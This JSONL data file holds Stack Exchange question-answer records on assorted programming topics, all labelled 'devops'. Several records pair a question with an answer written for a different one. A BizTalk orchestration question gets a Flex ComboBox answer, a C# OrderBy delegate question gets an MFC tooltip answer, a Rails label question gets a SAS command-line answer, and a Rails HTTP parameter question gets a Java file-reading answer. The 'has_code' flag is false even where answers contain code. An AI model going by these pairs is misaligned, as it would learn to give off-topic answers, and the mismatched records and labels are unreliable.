{"id": "hf_a84750def8f6", "question": "<p>Either for comparisons or initialization of a new variable, does it make a difference which one of these you use?</p>\n\n<p>I know that BigDecimal.ZERO is a 1.5 feature, so that's a concern, but assuming I'm using 1.5 does it matter?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "```\nBigDecimal.ZERO\n```\nis a predefined constant and therefore doesn't have to be evaluated from a string at runtime as\n```\nBigDecimal(\"0\")\n```\nwould be. It will be faster and won't require creation of a new object.\nIf your code needs to run on pre-1.5, then you can use the (much maligned) Singleton pattern to create an object equivalent to\n```\nBigDecimal.ZERO\n```\n. The first time it is used, it would call\n```\nBigDecimal(\"0\")\n```\nto create a zero object, and return that object on subsequent calls. Otherwise, if your code is running on a 1.5 system, your singleton object can just return\n```\nBigDecimal.ZERO\n```\nwith no runtime penalty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.578900"}
{"id": "hf_aa1472f28392", "question": "<p>As a web developer, a number of the projects I work on fall under government umbrellas and hence are subject to 508 Accessibility laws, and sometimes W3C accessibility guidelines. To what extent can Flash be used while still meeting these requirements?</p>\n\n<p>For using javascript, the mantra is \"Degrade gracefully\" by providing the same content and function, just on different pages, or in a less interactive/dynamic way. This allows non-javascript browsers/users still use the site, as well as allowing search engine bots to access all of the content. Users of screen reading software, such as JAWS and Orca also are still able to fully use the site.</p>\n\n<p>With flash, is there a similar way to gracefully fall back for non-flash users? If not, how accessible is flash-based content to search engine bots? And also, how do screen readers handle flash-based content?</p>\n", "question_body": "", "answer": "I'm visually impaired to the point where I use magnification tools and TTS for convenience but not as a necessity. I can tell you that Flash just doesn't work with the majority of accessibility tools out there.  I believe JAWS (the market leader for Windows but not overwhelmingly dominant by any means) says it has Flash support, but most Flash developers don't seem to put in the work necessary to allow JAWS to grok the textual content of the Flash movie.  And many visually impaired users just don't even have flash installed because for 95%+ of the time it's simply useless to them.\nAnother consideration is that the built-in Text-to-speech that Mac OS X provides also can't do anything with most Flash movies.\nIMO 'degrading' or offering a link to an HTML version of your content is probably the only practical means of ensuring your site is accessible.  If you are starting from scratch I would strongly consider JavaScript / JQuery over Flash if at all possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.614731"}
{"id": "hf_5983dcc7558a", "question": "<p>I have a clock feature in a VB.NET program that displays the time including the seconds. I currently have a timer constantly polling using NOW. I have to poll the system clock quite often because I need to have the second update in sync with the system clock.</p>\n\n<p>Is there a more direct to access the time only when the seconds change?</p>\n\n<p>Is there a more efficient way to write this code?</p>\n\n<p>If you need more info let me know.</p>\n", "question_body": "", "answer": "Why not use the timer component?  This assumes that you are using a GUI and not building a service.\nYou could call a synchronization routine that performed the polling to get the timer very close to the seconds changing, then delegate to the timer.  You could call the sync routine once a minute or so to make sure that you aren't getting any OS drift.\nThat being said, I'm sure there is a way to detect the seconds changing event, I just don't know how to do it.\nUpdate:\nThis link\nhas an implementation similar to what I was envisioning.  Just modify it so that you are not permanently stuck in a loop and voila!  You have your sync routine.\nUpdate 2:\nBased on feedback from Shog9, I think this might be a better approach than polling:\n```\n```\nPublic Class Form1\n   Private WithEvents clockTimer As New Timer\n   Private currentTime As DateTime = DateTime.MinValue\n\n   Private Sub ClockTick(ByVal sender As Object, _\n      ByVal e As System.EventArgs) Handles clockTimer.Tick\n\n      UpdateTimer()\n      DisplayTimer()\n   End Sub\n\n   Private Sub UpdateTimer()\n      currentTime = DateTime.Now\n\n      clockTimer.Stop()\n      clockTimer.Interval = 1000 - currentTime.Millisecond\n      clockTimer.Start()\n   End Sub\n\n   Private Sub DisplayTimer()\n      lblTime.Text = currentTime.ToString(\"T\")\n   End Sub\n\n   Private Sub Form1_Load(ByVal sender As System.Object, _\n      ByVal e As System.EventArgs) Handles MyBase.Load\n\n      UpdateTimer()\n      DisplayTimer()\n   End Sub\nEnd Class\n```\n```\nNow, based on my preliminary tests, there is some sort of drift with each Tick event.  On my machine, it varied between 12 and 20 milliseconds.  If anyone has an idea on how to reliably correct the drift, I would be interested in learning.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.638592"}
{"id": "hf_199fa97a1e1d", "question": "<p>I have an app with the following basic architecture:</p>\n\n<p>A windows service (Service) that registers a .NET type (RemoteObject) for remote access (.NET Remoting). RemoteObject creates non-ThreadPool threads that use the ThreadPool to do IO processing. The size of the ThreadPool must be restricted to a limit  for a particular reason. A GUI app uses .NET Remoting to access RemoteObject. </p>\n\n<p>I've noticed that if the size of the ThreadPool is too low, the GUI app will hang when making a call to RemoteObject.</p>\n\n<p>My question is, how can I figure out why this is hanging, and why would the RemoteObject thread be affected by the ThreadPool?</p>\n\n<p>This is driving me crazy; thank you for your help!</p>\n", "question_body": "", "answer": "This may not be exceptionally helpful but I will toss it out there anyways.\nWhen debugging services and clients that talk through remoting, I will usually always run two instances of the debugger: one for the client and one for the service.  Just to be clear, I am running two copies of visual studio.  For the service you can use the attach command or you can alter the main and call start directly (bypassing all the service code).\nHere is how I typically enable debugging by altering the main, you'll have to and the DebugService call to the service, it really is just a entry point that calls start.  Once I have this I just enable service debug by definine\n```\nSERVICE_DEBUG\n```\nor changing the\n```\n#if\n```\nby adding a '\n```\n!'\n```\n.  Now you basically have converted your service to a console app.\n```\n```\n#if SERVICE_DEBUG\n            ServiceHost s = new ServiceHost();\n            s.DebugService();\n            Thread.Sleep( 300000000 );\n\n#else\n            ServiceBase.Run( ServicesToRun );\n#endif\n```\n```\nOnce you have both setup and running you can step through the client, when the remoting calls hit the service you can step through the service code, allowing you to debug both at the same time.\nOut of curiosity\nare you calling the remote object directly from the GUI thread?  If so, the GUI thread will block until the remoting call completes.  This will lock up the whole GUI and make it unresponsive.  This isn't the solution to the problem, but if it is the case and your service thread isn't returning, it'll cause the GUI to hang as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.663427"}
{"id": "hf_b3a5f85cb455", "question": "<p>According to <a href=\"http://en.wikipedia.org/wiki/Rounding\" rel=\"noreferrer\">Wikipedia</a> when rounding a negative number, you round the absolute number. So by that reasoning, -3.5 would be rounded to -4. But when I use java.lang.Math.round(-3.5) returns -3. Can someone please explain this?</p>\n", "question_body": "", "answer": "According to the\njavadoc\nReturns the closest long to the\n  argument. The result is rounded to an\n  integer by adding 1/2, taking the\n  floor of the result, and casting the\n  result to type long. In other words,\n  the result is equal to the value of\n  the expression:\n```\n(long)Math.floor(a + 0.5d)\n```\nConceptually, you round\nup\n. In other words, to the next integer\ngreater\nthan the value and -3 is greater than -3.5, while -4 is less.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.711937"}
{"id": "hf_f0e0b80cebd3", "question": "<p>I'm setting up a solution to deploy, driven by a batch file so it's reproducible \n- I've got a binding file that works but I've now added on my MSMQ adapters\n- works on my local machine, but I've found I have to add a userid and password to get it to work on the actual server\n   - it's in the domain, my virtual dev machine is just workgroup</p>\n\n<p>Is there someway to add the userid and password to the file ?\n  - seems unlikely as that'd have the password in clear text, but what's the solution\n  - I sort of think something w.r.t. SSO, but that is an area I've not been near </p>\n", "question_body": "", "answer": "For security reasons, when you export\n  bindings, BizTalk Server removes the\n  passwords for the bindings from the\n  file. After importing the bindings,\n  you must reconfigure passwords for\n  send ports and receive locations\n  before they will function. You\n  configure passwords in the Transport\n  Properties dialog box of the BizTalk\n  Server Administration console for the\n  send port or receive location. For\n  instructions, see How to Create a Send\n  Port. See also How to Create a Receive\n  Location.\nFrom\nhttp://msdn.microsoft.com/en-us/library/aa558708.aspx\nIf you however open the biding file and scroll down to the line with the properties for the MSMQ Adapter you'll find the empty nodes. All you then have to do is to fill these out and the right values and they will be used the next time you import the binding file.\nOf course you'll have to remember to redo this every time you export a new binding ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.749077"}
{"id": "hf_20366eccc555", "question": "<p>I am using a custom item renderer in a combobox to display a custom drawing instead of the default text label.</p>\n\n<p>This works fine for the dropdown list but the displayed item ( when the list is closed) is still the textual representation of my object.</p>\n\n<p>Is there a way to have the displayed item rendered the same way as the one in the dropdown?</p>\n", "question_body": "", "answer": "By default you cannot do this. However, if you extend ComboBox you can add this functionality easily. Here is a quick example, it is a rough version and probably needs testing / tweaking but it shows how you could accomplish this.\n```\n```\npackage\n{\n    import mx.controls.ComboBox;\n    import mx.core.UIComponent;\n\n    public class ComboBox2 extends ComboBox\n    {\n        public function ComboBox2()\n        {\n            super();\n        }\n\n        protected var textInputReplacement:UIComponent;\n\n        override protected function createChildren():void {\n            super.createChildren();\n\n            if ( !textInputReplacement ) {\n                if ( itemRenderer != null ) {\n                    //remove the default textInput\n                    removeChild(textInput);\n\n                    //create a new itemRenderer to use in place of the text input\n                    textInputReplacement = itemRenderer.newInstance();\n                    addChild(textInputReplacement);\n                }\n            }\n        }\n\n        override protected function updateDisplayList(unscaledWidth:Number, unscaledHeight:Number):void {\n            super.updateDisplayList(unscaledWidth, unscaledHeight);\n\n            if ( textInputReplacement ) {\n                textInputReplacement.width = unscaledWidth;\n                textInputReplacement.height = unscaledHeight;\n            }\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.852014"}
{"id": "hf_e178231cd825", "question": "<p>I've got a solution which I setup / cleanup using batch files ...\n- there are a pair of MSMQ ports, send and receive, with another application on the end of the queues</p>\n\n<p>I'm finding I can't properly stop the orchestration in the batch file ... the error is the send port is unenlisted\n - I'm using the StopOrch.vbs script from the SDK samples</p>\n\n<p>But I can go into BizTalk Admin Console and manually stop the orchestration with Full Terminate Ok</p>\n\n<p>The setup / cleanup works Ok if I don't actually push any messages down the MSMQ queues</p>\n", "question_body": "", "answer": "By default you cannot do this. However, if you extend ComboBox you can add this functionality easily. Here is a quick example, it is a rough version and probably needs testing / tweaking but it shows how you could accomplish this.\n```\n```\npackage\n{\n    import mx.controls.ComboBox;\n    import mx.core.UIComponent;\n\n    public class ComboBox2 extends ComboBox\n    {\n        public function ComboBox2()\n        {\n            super();\n        }\n\n        protected var textInputReplacement:UIComponent;\n\n        override protected function createChildren():void {\n            super.createChildren();\n\n            if ( !textInputReplacement ) {\n                if ( itemRenderer != null ) {\n                    //remove the default textInput\n                    removeChild(textInput);\n\n                    //create a new itemRenderer to use in place of the text input\n                    textInputReplacement = itemRenderer.newInstance();\n                    addChild(textInputReplacement);\n                }\n            }\n        }\n\n        override protected function updateDisplayList(unscaledWidth:Number, unscaledHeight:Number):void {\n            super.updateDisplayList(unscaledWidth, unscaledHeight);\n\n            if ( textInputReplacement ) {\n                textInputReplacement.width = unscaledWidth;\n                textInputReplacement.height = unscaledHeight;\n            }\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.876468"}
{"id": "hf_1fcd101b38b9", "question": "<p>How can I deploy a custom authentication provider in MOSS 2007?</p>\n\n<p>Is there any provided functionality to do this (like a Sharepoint feature)?</p>\n\n<p>Or do I have to install it in the GAC on each box in the farm manually? </p>\n", "question_body": "", "answer": "The usual approach for installing extensions like this is to use a feature, yes. However, you won't be using any specialized XML as this kind of extension is not catered for explicitly. So how can you do it? By using an essentially empty feature project that contains an Event Receiver assembly. The event receiver assembly is called automatically by sharepoint for 4 different events: install, uninstall, activate and deactivate. I suggest you hook the install and uninstall events to deploy your provider.\nhttp://msdn.microsoft.com/en-us/library/bb862634.aspx\nMake sense?\n-Oisin", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.901168"}
{"id": "hf_1427508fcd06", "question": "<p>There are all sorts of advantages to using Emacs, but for someone comfortable with the usual Win32 applications it comes with a wall-like learning curve. With most other editors it’s possible to just start using them and then learn about their other features and enhancements as you go along. </p>\n\n<p>How to just get on with using Emacs straight away, with the aim of reaching that point where you actually prefer to use Emacs over other editors or applications?</p>\n\n<p>Edit - To try and clarify the question: I’ve done the tutorial, read some docs, etc. then soon after when I’ve wanted to quickly edit some text it’s been easier to just use another editor, that I already know. What do I need to do so that not only I don’t just go for another easier editor, but that I actually prefer to use Emacs, and how to get here as quickly as possible? What if any are the training wheels for Emacs?</p>\n", "question_body": "", "answer": "spend 20 minutes running the tutorial\nctrl-h t\nThat will get you to the point where you can be productive (and that \"meta\" key that you will read about is probably either Escape or alt).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:29.997815"}
{"id": "hf_32a684da0ff7", "question": "<p>So odd situation that I ran into today with OrderBy:</p>\n\n<pre><code>Func&lt;SomeClass, int&gt; orderByNumber = \n  currentClass =&gt; \n   currentClass.SomeNumber;\n</code></pre>\n\n<p>Then:</p>\n\n<pre><code>someCollection.OrderBy(orderByNumber);\n</code></pre>\n\n<p>This is fine, but I was going to create a method instead because it might be usable somewhere else other than an orderBy.</p>\n\n<pre><code>private int ReturnNumber(SomeClass currentClass)\n{\n  return currentClass.SomeNumber;\n}\n</code></pre>\n\n<p>Now when I try to plug that into the OrderBy:</p>\n\n<pre><code>someCollection.OrderBy(ReturnNumber);\n</code></pre>\n\n<p>It can't infer the type like it can if I use a Func.  Seems like to me they should be the same since the method itself is \"strongly typed\" like the Func.</p>\n\n<p>Side Note: I realize I can do this:</p>\n\n<pre><code>Func&lt;SomeClass, int&gt; orderByNumber = ReturnNumber;\n</code></pre>\n", "question_body": "", "answer": "I believe you still have to enable the tooltip, even though you are replacing the builtin.\n```\n```\nEnableToolTips(TRUE);\n```\n```\nWell, since that did not work for you and since no-one more expert has offered any help, here a few more suggestions from me.  Although they are lame, they might get you moving again:\nMake sure your OnCreate() rotine is actually being executed.\nEnable the tool tip BEFORE you replace it.\nThe code I use to do this looks like this. ( I confess I do not understand all the details, I copied it from some sample code, it worked and so I never looked at it any more. )\n// Enable the standard tooltip\nEnableToolTips(TRUE);\n// Disable the builtin tooltip\nCToolTipCtrl* pToolTipCtrl = (CToolTipCtrl*)CWnd::FromHandle((HWND)::SendMessage(m_hWnd, LVM_GETTOOLTIPS, 0, 0L));", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.034003"}
{"id": "hf_b49c20b70c59", "question": "<p>If I do this:</p>\n\n<pre><code>// In header \nclass Foo {\nvoid foo(bar*);\n};\n\n// In cpp\nvoid Foo::foo(bar* const pBar) {\n//Stuff\n}\n</code></pre>\n\n<p>The compiler does not complain that the signatures for Foo::foo do not match. However if I had:</p>\n\n<pre><code>void foo(const bar*); //In header\nvoid Foo::foo(bar*) {} //In cpp\n</code></pre>\n\n<p>The code will fail to compile.</p>\n\n<p>What is going on?\nI'm using gcc 4.1.x</p>\n", "question_body": "", "answer": "In the first, you've promised the compiler, but not other users of the class that you will not edit the variable.\nIn your second example, you've promised other users of the class that you will not edit their variable, but failed to uphold that promise.\nI should also note that there is a distinct difference between\n```\n```\nbar* const variable\n```\n```\nand\n```\n```\nconst bar* variable\n```\n```\nand\n```\n```\nconst bar* const variable\n```\n```\nIn the first form, the pointer will never change, but you can edit the object that is pointed to.  In the second form, you can edit the pointer(point it to another object), but never the variable that it points to.  In the final form, you will neither edit the pointer, nor the object it points to.\nReference\nTo add a bit more of a clarification to the question stated, you can always promise MORE const than less.  Given a class:\n```\n```\nclass Foo {\n    void func1 (int x);\n    void func2 (int *x);\n}\n```\n```\nYou can compile the following implementation:\n```\n```\nFoo::func1(const int x) {}\nFoo::func2(const int *x) {}\n```\n```\nor:\n```\n```\nFoo::func1(const int x) {}\nFoo::func2(const int* const x) {}\n```\n```\nwithout any problems.  You've told your users that you may possibly edit their variables.  In your implementation, you've told the compiler that this particular implementation will not edit those variables, even though the told the users you might.  You haven't broken a promise to the user, and so the code compiles.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.117361"}
{"id": "hf_ec32251c2dc7", "question": "<p>As already discussed in \"<a href=\"https://stackoverflow.com/questions/250151/lua-as-a-general-purpose-scripting-language\">Lua as a general-purpose scripting language?</a>\" Lua currently probably isn't the best scripting language for the desktop environment.</p>\n\n<p>But what do you think about the future? Will Lua get so popular that there will soon be enough libraries to be able to use it like Python, Ruby or something similar?</p>\n\n<p>Or will it simply stay in it's WoW niche and that's it?</p>\n", "question_body": "", "answer": "I really like it as an embedded language. It's small, very easy to use and embed and mostly does what I need right out of the box. It's also similar enough to most languages that it has never really been an issue for me. I also like how easy it is to redefine and add base functions and keywords to the language to suit whatever needs my application has.\nI have used it in the WoW area but I've also found it useful as a generic scripting language for a number of different applications I've worked on, including as a type of database trigger. I like Ruby and Python and other more full-featured scripting languages but they're not nearly as convenient for embedding in small applications to give users more options for customizing their environments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.168546"}
{"id": "hf_876fd85fc9dc", "question": "<p>I wrote a managed C++ class that has the following function:</p>\n\n<pre><code>void EndPointsMappingWrapper::GetLastError(char* strErrorMessage)\n{\n    strErrorMessage = (char*) Marshal::StringToHGlobalAnsi(_managedObject-&gt;GetLastError()).ToPointer();\n}\n</code></pre>\n\n<p>As you can see, this is a simple method to copy the managed string of the last error to the unmanaged world (<code>char*</code>).</p>\n\n<p>From my unmanaged class I call the method like this:</p>\n\n<pre><code>char err[1000];\nofer-&gt;GetLastError(err);\n</code></pre>\n\n<p>Putting a breakpoint at the managed C++ method shows that the string is successfully translated into the <code>char*</code>. However, once I return to the unmanaged class, the content of <code>err[1000]</code> is lost and it's empty again.</p>\n", "question_body": "", "answer": "We use the following C++ Class to do the conversions for us and it works fine. You should be able to modify your method to use it.\nH File\n```\n```\npublic ref class  ManagedStringConverter\n{\npublic:\n  ManagedStringConverter( System::String^ pString );\n  ~ManagedStringConverter();\n\n  property char* PrimitiveString\n  {\n     char* get() { return m_pString; }\n  }\n\n  /// <summary>\n  /// Converts a System::String to a char * string.  You must release this with FreeString.\n  /// </summary>\n  static const char* StringToChar( System::String^ str );\n\n  /// <summary>\n  /// Converts a System::String to a __wchar_t * string.  You must release this with FreeString.\n  /// </summary>\n  static const __wchar_t * StringToWChar( System::String^ str );\n\n  /// <summary>\n  /// Frees memory allocated in StringToChar()\n  /// </summary>\n  static void FreeString( const char * pszStr );\n\nprivate:\n  char* m_pString;\n};\n```\n```\nCPP File\n```\n```\nManagedStringConverter::ManagedStringConverter( System::String^ pString )\n{\n  m_pString = const_cast<char*>( ManagedStringConverter::StringToChar( pString ) );\n}\n\nManagedStringConverter::~ManagedStringConverter()\n{\n  ManagedStringConverter::FreeString( m_pString );\n}\n\n// static\nconst char * ManagedStringConverter::StringToChar( System::String^ str )\n{\n  IntPtr^ ip = Marshal::StringToHGlobalAnsi( str );\n  if ( ip != IntPtr::Zero )\n  {\n     return reinterpret_cast<const char *>( ip->ToPointer() );\n  }\n  else\n  {\n     return nullptr;\n  }\n}\n\n// static\nconst __wchar_t * ManagedStringConverter::StringToWChar( System::String^ str )\n{\n  IntPtr^ ip = Marshal::StringToHGlobalUni( str );\n  if ( ip != IntPtr::Zero )\n  {\n     return reinterpret_cast<const __wchar_t *>( ip->ToPointer() );\n  }\n  else\n  {\n     return nullptr;\n  }\n}\n\n// static\nvoid ManagedStringConverter::FreeString( const char * pszStr )\n{\n  IntPtr ip = IntPtr( (void *)pszStr );\n  Marshal::FreeHGlobal( ip );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.227669"}
{"id": "hf_f9134e0f9385", "question": "<p>Is there a way to run a one-liner in sas, or do I have to create a file?  I'm looking for something like the -e flag in perl.</p>\n", "question_body": "", "answer": "Never having used sas, what I might try is something like:\n```\n```\necho <insert sas code here> | sas --execute-file -\n```\n```\nOftentimes applications will let you specify '-' as a file to have it read from STDIN. And 'echo' just prints its arguments out, and the | connects them together.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.251942"}
{"id": "hf_c58cece05a34", "question": "<p>I'm constructing a simple form in ERB but the HTML produced by the text_field tag makes the <em>for</em> attribute in the label tag invalid.</p>\n\n<pre><code>&lt;div&gt;\n  &lt;p&gt;&lt;%= label_tag \"email[name]\", \"Name\" %&gt;&lt;/p&gt;\n  &lt;%= text_field :email, :name, :class =&gt; \"text_field\" %&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>Produces the HTML</p>\n\n<pre><code>&lt;div&gt;\n  &lt;p&gt;&lt;label for=\"email[name]\"&gt;Name&lt;/label&gt;&lt;/p&gt;\n  &lt;input class=\"text_field\" id=\"email_name\" name=\"email[name]\" size=\"30\" type=\"text\" /&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>Which results in the error </p>\n\n<blockquote>\n  <p>character \"[\" is not allowed in the\n  value of attribute \"for\".</p>\n</blockquote>\n\n<p>How do I generate the text with without the nested parameter name email[name] to change the label tag <em>for</em> attribute? Is there an alternative approach that produces valid HTML?</p>\n", "question_body": "", "answer": "Never having used sas, what I might try is something like:\n```\n```\necho <insert sas code here> | sas --execute-file -\n```\n```\nOftentimes applications will let you specify '-' as a file to have it read from STDIN. And 'echo' just prints its arguments out, and the | connects them together.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.275655"}
{"id": "hf_19ed99399a8f", "question": "<p>Does anyone have any strategies/tips/traps for moving to Team System? Should it be done in baby steps, or all at once? Should we migrate our SourceSafe library over, or draw a line in the sand and move forward? Is it worth brining SharePoint into the mix? Any thoughts are appreciated.</p>\n", "question_body": "", "answer": "I've never had to migrate to TFS, but have used it pretty extensively for the past couple of years.\nRegarding your question on Sharepoint, we've found it pretty useful in conjunction with TFS. We use it primarily for documentation management and for storing other \"non-technical\" artifacts related to the project. Some dev teams advocate keeping documentation in source control alongside source code, which is OK, but in my experience our project stakeholders have an easier time accessing relevent project documentation via the Sharepoint portal than they would having to interface with source control.\nI basically was able to distribute the URL to the sharepoint site associated with our TFS team project to the concerned non-technical team members and have been able to avoid constantly e-mailing documents around, so it's been great for us.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.299874"}
{"id": "hf_c3649add7900", "question": "<p>I have a .NET class library containing a class with a method that performs some lengthy operation. When a client calls this method it should perform the lengthy operation on a new thread in order to avoid blocking the caller. But once the method finishes it should execute some code on the main thread. In a WinForms application I could have used the System.Windows.Forms.Control.Invoke method but this is not my case. So how can I achieve this in C#?</p>\n", "question_body": "", "answer": "If a thread has to be able to execute some bit of code (usually in the form of a delegate) posted to it by another thread, it will have to basically be waiting for those instructions. What else is your main thread doing? It's not that hard to build an equivalent of the event loop (basically you'd have a producer/consumer queue of delegates) but you need to be aware that you can't just interrupt the main thread and say \"do this now\".\nWhy does this have to execute on the main thread?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.347948"}
{"id": "hf_b2bbce9266af", "question": "<p>I came across this code and wanted others to provide their point of view... is it good or bad ? ;)</p>\n\n<pre><code>Class ReportClass\n{\n public string ReportName {get; set;}\n}\n</code></pre>\n\n<p>Then it was used as follows in code:</p>\n\n<pre><code>displayReport(ReportClass.ReportName = cmbReportName.SelectedValue.ToString())\n</code></pre>\n\n<p>That is about the simplest form example I can give you.\nQuetion is... why can't I find examples ? What would this be called? Is this just asking for trouble?</p>\n\n<p><strong>EDIT:</strong> I'm referring to the inplace assignment. Which I wasn't aware of until today</p>\n", "question_body": "", "answer": "Seems fine to me. It is probably compiled with C# 3.0 and that allows\nC# automatic properties\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.547339"}
{"id": "hf_a49ded0b2dee", "question": "<p>I'm writing a small agent in java that will play a game against other agents. I want to keep a small amount of state (probably approx. 1kb at most) around between runs of the program so that I can try to tweak the performance of the agent based upon past successes. Essentially, I will be reading a small amount of data at the beginning of each game and writing a small amount at the end. It seems like I have 2 options, file I/O or derby. Is there a speed advantage to either? Or does it not really matter for such a small amount of data? </p>\n", "question_body": "", "answer": "Considering that these objects can vary per file size, and your computer's specs (bus speed, HD speed) affect this, the only way to be sure is to write your own benchmark.  Just create a simple for loop, count from 1 to 1000, and read the file inside the loop over and over (but do not create and destroy the objects inside the loop, just focus on the reading part).\nOf course this whole exercise reeks of pre-optimization, which can lead to bad coding habit.  Just write your code in the most readable, simple fashion, and if there is a speed problem, refactor as needed.\nBut since it's a small amount of data, I would say it won't matter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.593110"}
{"id": "hf_cb7682c52b32", "question": "<p>I have to pass parameters between two rails apps. In one side (sender) I have an array of hashes. I have a code like the following to send the data:</p>\n\n<pre><code>   http = Net::HTTP.new('localhost', '3030')\n   result = http.post('/processar_lotes', my_array_of_hashes)\n</code></pre>\n\n<p>Some questions</p>\n\n<ul>\n<li>Is there any (kind of) serialize or something like this that I can pass to the other app?</li>\n<li>At the other side, how can I de-serialize the information?</li>\n<li>Is there a limit to the size of what I pass as a parameter?</li>\n</ul>\n", "question_body": "", "answer": "Considering that these objects can vary per file size, and your computer's specs (bus speed, HD speed) affect this, the only way to be sure is to write your own benchmark.  Just create a simple for loop, count from 1 to 1000, and read the file inside the loop over and over (but do not create and destroy the objects inside the loop, just focus on the reading part).\nOf course this whole exercise reeks of pre-optimization, which can lead to bad coding habit.  Just write your code in the most readable, simple fashion, and if there is a speed problem, refactor as needed.\nBut since it's a small amount of data, I would say it won't matter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:30.616388"}
